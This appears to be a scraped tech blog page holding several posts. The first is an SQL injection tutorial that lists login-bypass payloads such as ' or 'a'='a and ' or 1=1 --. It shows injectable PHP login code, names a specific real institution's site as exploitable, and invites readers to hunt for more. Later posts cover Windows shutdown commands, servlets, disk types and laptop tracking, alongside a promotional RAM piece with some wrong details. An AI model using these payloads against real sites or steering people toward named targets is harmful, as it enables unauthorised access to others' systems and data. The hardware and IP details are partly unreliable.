SQL Injection - Part 1

Structure Query Language

' or '1'='1 Injection


It is a technique to inject SQL query as an input possibly via web pages. Actually the logic to validate the authenticity of users is manipulated by using some extra sql query. Many web pages take parameters from web user, and make SQL query to the database. For example when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. It is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant to enter into the website.

This is my first article on SQL Injection. So, here we will see how to inject sql query in username and password fields to grant acess to the website. Not all websites are vulnerable to SQL Injection. We have to search websites those are vunerable to SQL Injection. This is simple.

Just enter ' or 'a'='a in username and password field and click login.

List of golden query:
All the following codes can be used for SQL Injection.
  • ' or 'a'='a
  • ' or '1'='1
  • ' or '0'='0
  • ' or '007'='007
  • ' or 'biti'='biti
  • ' or 'technozone'='technozone
  • ' or 1=1 --
Example:
Following PHP code is for validating the authenticity of the user.


$_SESSION['username']=$_POST["username"];
$_SESSION['password']=$_POST["password"]; 

// query for a user/pass match
$result=mysql_query("select * from users where username='" . $_SESSION['username'] . "' and password='" . $_SESSION['password'] . "'");

// retrieve number of rows resulted
$num=mysql_num_rows($result);

if($num < 1)
{
    //Login Failed
    header('Refresh: 2; URL=login.php?msg=login_failed');
}
else
{
    //Login Sucessfull
    header('Refresh: 2;URL=admin/admin_home.php?msg=login_success');
}

So, if we put ' or 'a'='a in username and password field the query for a user/pass matchwill become


$result=mysql_query("select * from users where username='' or 'a'='a' and password='' or 'a' ='a' );
The above statement will now give all the data from the table users because both the conditions are true. And according to the logic of the user validation code the golden query ' or 'a'='a will help us to enter into the website.

I have found a vulnerable site where you can use this golden query ' or 'a'='a . This vulnerable website belongs to a institution related to IIT JEE Coaching. The site is www.fiitjee.com .

Friends search for more vulnerable site and inform them for the vulnerability.

List of Run Commands for Windows



Run command ability is to do almost everything that the command line can do. In some run commands the output is displayed and the windows exit.

eg: 'ipconfig' command. If you type that into Run, it would open a command prompt, run the ipconfig command, and then close because the command finished running!

So, to fix this, type cmd into the Run dialog, and then type ipconfig into the command prompt.

Servlet Life Cycle



Servlets are container managed. The life and death of servlets is under the control of the Servlet Engine. Servlet engine is developed strictly according to the Servelt specification. Our servlet also is written aonforming the same specification and by following the Servlet API. Therefore the servlet container can manage the servlet life cycle. The servlet life cycle steps describe the process by which the servlet container loads, instantiates, unloads and invokes its life cycle methods.

Life Cycle:
  1. The servlet container loads the servlet class that we developed and deployed into it. This can happen either at the time of web application startup or on receiving the client request for the first time.
  2. The servlet engine creates the servlet instances.
  3. Servlet engine creates the ServletConfig object.
  4. Servlet engines create the init method by suppyling ServletConfig object as argument.
  5. Servlet engine creates ServletRequest object & ServletResponse objects.
  6. Servlet engine calls the public service method and supplies the above two objects as arguments.
  7. Within the public service method these two objects are converted into Http specific objects and public service method calls protected service method.
  8. Within the protected service method client request type is calibrated (GET or POST). Depending upon the type of request, protected service method calls either doGet() or doPost(). In one of these methods a servlet developers implements the clinet request processing clode that involves.
    i) Evaluating the HttpServletRequest object and capture the user input.
    ii) Producing dynamic data by communicating with the database.
    iii) Building dynamic web content and sending it to the client using HttpServletResponse object.
  9. If the container receives another client request, process starts from strp 5.
  10. When the container is instructed to keep the servlet out of service, the servlet engine calls the destroy method on the servlet instance just before the servlet instance is garbage collected.

How to shutdown computer automatically at a specific time



For last few days I was searching for a technique to shutdown my laptop automatically at a specific time. My broadband package allow me to download unlimited data only at night i.e from 2300 hrs to 0600 hrs. So, I want some sort of technique to shutdown my desktop before 0600 hrs otherwise I will be charged for downloading data by my ISP. And finally I got a trick. You might also be facing such type of problem. But don't worry friends a trick is here to solve your problem.

Trick 1:
  • Start > Run
  • Type 'shutdown -s -t 1800' without quotes
  • Click OK
  • A dialog will appear showing the countdown timer
Note: 1800 is the amount of time remaining before your computer shutdowns. 1800 is in seconds - 60sec * 30 min = 1800 sec. If you want to shutdown your desktop after 1 hour simply enter 3600 sec, as 60 sec * 60 min = 3600 sec.

How to cancel the shutdown timer ?
  • Start > Run
  • Type 'shutdown -a' without quotes
Trick 2:
  • Right click on desktop, Go to New > Shortcut
  • Type 'shutdown -s -t 1800' without quotes
  • Click Next
  • Type whatever you want to name the shortcut link.
  • Click Finish.
  • Now a shortcut is created in the desktop.
  • Just double click it and your shutdown timer will start.
  • You can customize the look of the shortcut. 
  • Right click on the shortcut icon, Go to Properties > Customize > Change Icon > Select any icon from the gallery > Click OK
Trick 3:

In this trick we will create a shutdown job by using the 'at' command, which is used to schedule task manually in windows.
  • Start > Run
  • Type 'at 13:26 shutdown -s' without quotes, it will shutdown your computer at 13:26 
  • If you type 'at 13:26 shutdown -s -t 60', it will shutdown your computer after 60 sec from 13:26 hrs
  • Click OK
How to view the list of jobs along with their attributes in your computer and how to abort the jobs ?
  • Start > Run
  • Type cmd
  • Type 'at' without quotes. It will display the list of jobs in your computer.along with their Status ID, Time of execution, Command to be executed etc.
Now, if you want to cancel the shutdown job that we had created.
  • Start > Run 
  • Type cmd
  • Type 'at 1 /delete' without quotes. Here '1' represents Status ID of the job. I have already mentioned in the above paragraph how to view the Status ID of the job.

Different types of Hard Disk Drive


Hard Disk Drive - It is a non-volatile storage device which stores digitally encoded data on rapidly rotating platters with magnetic surface. 

Types of HDD :
  1. IDE : Integrated Drive Electronics. IDE drives are also known as PATA drives( Parallel advance technology attachment )
  2. SATA : Serial advance technology attachment 
  3. SCSI : Small Computer System Interface. SCSI is pronounced as scuzzy.
  4. SAS : Serial Attached SCSI


IDE / PATA (Integrated Drive Electronics Drive / Parallel Advance Technology Attachment Drive)




  • IDE/PATA Drives have usually 40 pins.
  • IDE/PATA Drives offer 133 MB/sec transfer rate.
  • It sends 8 bit data at a time. 
  • PATA Cables are used to connect PATA HDD. Two drives can be connected in a single pata cable. One as master and other as slave. The configuration of master and slave is done by different combination of jumpers in the hdd.
SATA (Serial Advance Technology Attachment Drive)




  • SATA Drives have usually 7 pins, 4 pins in pair of two for sending and receiving data and rest 3 pins are grounded.
  • SATA Drives offers generally 300MB/sec transfer rate.
  • It sends data bit by bit.
  • SATA Cables are used to connect SATA HDD. Only one drive can be connected in a single sata cable.
SCSI (Small Computer System Interface Drive)




  • SCSI Drives have usually 50 to 68 pins.
  • SCSI Drive offers generally 640MB/sec transfer rate.
  • This drives are hot swappable. 
  • SCSI cables are used to connect SCSI HDD. Maximum of 16 drives can be connected in a single scsi cable. Each hdd have a 8 bytes hexadecimal code known as WWN (world wide name) for its identification in the cable.
SAS(Serial Attached SCSI Drive) 



  • SAS Drives generally offers 805 MB/sec transfer rate.

DDR/DDR2/DDR3 SDRAM - The neurons of computer

For last few days I was searching for a 2GB DDR2 memory chip to upgrade my laptop memory. And during this search I come across a memory chip developed by PRO. PRO are developing neurons for computers means 'memory modules'. They provide lifetime warranty on the factory original computer DDR2 memory for Apple, Dell, HP, IBM, Sony and Toshiba. Isn't it awesome ?

Technology on which memory(DDR2/DDR3 SDRAM) depends:
  • ECC Registered - Error Correcting Code enabled RAM. It requires mother-board support. Basically used in servers.
  • Fully Buffered DIMM - It is used to increase reliability, speed and density of memory systems.
  • SO-DIMMS - Small Outline Dual In-Line Memory Module, these are used in systems which have space restrictions such as laptops.
  • DIMMS - Dual In-Line Memory Module, contains a series of dynamic random access memory integrated circuits. Designed for desktop,workstations and servers.
  • RDIMM - Registered Dual In-line Memory Module
On what does today's server, laptop, Mac or PC depends ?
All the above mentioned technologies Quality ECC Registered, Fully Buffered, SO-DIMM, DIMM & RDIMM DDR Memory Modules.
Guys don't think that by just installing any branded DDR3, DDR2, DDR Memory Modue RAM in your server, laptop, Mac or PC does not implies that your system will work at its best. Even if you install oem (original equipment manufacturer) DDR2 memory modules, they will not guarantee that your system will work at its peak. But PRO memory upgraded system will be in top during benchmark because its memory modules are equipped with all the new technologies (ECC Registered, Fully Buffered, SO-DIMM, DIMM & RDIMM DDR Memory).
As I am a Software Professional, I need lots of memory for developing programs, running IDE (Integrated Development Environment) and business application softwares simultaneously. In my analysis I found Pro memory module expansion is the best for developers and end-users. May be it 8GB, 4GB, 2GB or other RAM module expansion options trust PRO and upgrade your computer memory like a PRO!

Sony VAIO will come up with Google Chrome as default browser



Sony is now Google new distribution partner. It has happen for the first time that any Software Company had tied up with any Laptop Development Company for distribution of its products. The internet giant Google has made a step towards distributing its own browser "Google Chrome", after a year of its launch.

According to this new distribution deal with Sony, all new Sony Vaio laptops will now come preloaded with Google Chrome as default browser. One of the benefit of this deal is Google will be the default search engine in all new Sony Vaio laptops. It will again start a new war between Microsoft and Google to become default search service provider in new Sony Vaio laptops. Despite of all this Google Chrome has to cover a long distance to become No. 1 browser. As Internet Explorer has 58.47% market share, Firefox has 31.65% market share, Chrome has 3.23% market share but it has surpassed both, Opera and Safari web browsers market share.

How to find your stolen/lost laptop


Friends as modernization is on its peak. Everybody nowadays are using Laptop, PDA, iPhone etc and chances of theft is also increasing. So, how to keep your Laptop, PDA, iPhones etc secure. I had found a Open Source Software 'Adeona' which can keep track of your laptop. If your laptop is stolen or lost you can easily trace its location and also catch the thief.





Adeona is a open source system which keep track of your lost and stolen laptop. It uses the Open Source OpenDHT distributed storage service to store location updates sent by a small software client installed on an owner's laptop. Its Mac OS Ver has built-in iSight camera which captures the image of the thief if camera is available in laptop. One bad thing is that your laptop require a internet connection to upload all its information to the server. Location information include the update time, laptop internal/external ip address, access point to which it is connected ,nearest router etc .It is available for Windows, Linux and Mac.

Steps how to find the stolen/lost laptop:
  • Just download and install it in your laptop.
  • Remember the password you given during installation. It will be required during retrieval of information regarding your laptop location.
  • Keep 'adeona-retrievecredentials.ost' in a safe place because it will be required during retrieval process. You will find this file in desktop and also in under program files 'C:\Program Files\Adeona'.
  • TESTING (not stolen) : For retrieval of information from the server start the 'Run Adeona Recovery' program from your computer if you just want to test the application.
  • LAPTOP STOLEN: Install the Adeona software in any other laptop and start 'Run Adeona Recovery' program from their if your laptop is stolen.
  • Enter the password given during the installation of the software in your laptop. Locate the 'adeona-retrievecredentials.ost' file of your laptop , I have told you to keep that is a safer place in previous instruction and start the process.
  • After that a file 'adeona_retrieve_results.txt' will be created upon completion of the retrieval process in your desktop under 'adeonaretrieval-08-26-2009-1653' folder. '08-26-2009-1653' in folder name refers to the date and time of retrieval process completion. So it may change in your case.
I had tested this software its really working. Below is the information, I have got during my testing of the software. Below is the format that you will also get in adeona_retrieve_results.txt :-
  • info: ========== START STATE RETRIEVE ==========
    info: state updatetime: 08/26/2009,16:42 (IST)
    info: succesfully retrieved update replica 0
    info: ======== start location data =========
    update time: 08/26/2009,16:42 (IST)
    internal ip: 120.13.420.217 //your IP Address
    external ip: 120.13.420.217

    12 207.000ms 192.33.92.161 (rou-open-net-switch.ethz.ch)
    info: ========= end location data ==========
Description of the above statements. In the above statements you will find update time,internal ip, external ip and nearest router details.
  • Update Time: The time when your laptop information is being send to the server.
  • Internal IP: IP address is being assigned to your laptop by the ISP (Internet Service Provider) when the laptop was connected to the internet.
  • External IP: IP address is being assigned to your laptop by the ISP (Internet Service Provider) when the laptop was connected to the internet. Basically internal and external both are same.
  • Access Point: The access point used to connect your laptop to internet.
  • Nearby Routers: The routers that are nearer to the internet network your laptop is connected to.

To trace the IP Address location:
  • Just put the Internal Ip you got from the adeona_retrieve_results.txt file into the text field below and click search, you will get the details of the ip address along with a map or search the ip address with any ip geolocation service to retrieve the location of ip address from where your stolen laptop is being connected to internet.


Enter IP Address:

By the help of this open source software you will easily trace your laptop location. If exact location cannot be found, atleast you have an idea about the locality where you will find your laptop. After that you may contact cops for catching the thief.
